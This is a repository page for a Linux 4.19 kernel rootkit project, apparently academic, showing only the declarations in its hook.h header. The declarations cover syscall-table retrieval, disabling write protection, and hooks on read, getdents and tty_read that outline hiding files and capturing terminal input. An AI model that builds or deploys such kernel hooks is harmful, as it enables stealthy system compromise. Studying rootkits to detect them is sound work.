linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

hook.h (1189B)

      1 #ifndef _GROUP7_HOOK_H
      2 #define _GROUP7_HOOK_H
      3 
      4 #include <linux/types.h>
      5 #include <linux/dirent.h>
      6 #include <linux/syscalls.h>
      7 
      8 extern void **sys_calls;
      9 
     10 typedef struct {
     11     bool active;
     12     void *hook;
     13     void *orig;
     14 } sc_hook_t;
     15 
     16 extern atomic_t read_install_count;
     17 extern atomic_t getdents_install_count;
     18 extern atomic_t packet_rcv_install_count;
     19 extern atomic_t syscall64_install_count;
     20 
     21 extern atomic_t read_count;
     22 extern atomic_t tty_read_count;
     23 extern atomic_t getdents_count;
     24 extern atomic_t getdents64_count;
     25 
     26 extern asmlinkage ssize_t (*sys_read)(const struct pt_regs *);
     27 extern asmlinkage long (*sys_getdents)(const struct pt_regs *);
     28 extern asmlinkage long (*sys_getdents64)(const struct pt_regs *);
     29 extern ssize_t (*sys_tty_read)(struct file *, char *, size_t, loff_t *);
     30 
     31 int retrieve_sys_call_table(void);
     32 void init_hooks(void);
     33 void remove_hooks(void);
     34 
     35 void disable_protection(void);
     36 void enable_protection(void);
     37 
     38 // hooks
     39 asmlinkage ssize_t g7_read(const struct pt_regs *);
     40 asmlinkage long g7_getdents(const struct pt_regs *);
     41 asmlinkage long g7_getdents64(const struct pt_regs *);
     42 ssize_t g7_tty_read(struct file *, char *, size_t, loff_t *);
     43 
     44 
     45 #endif//_GROUP7_HOOK_H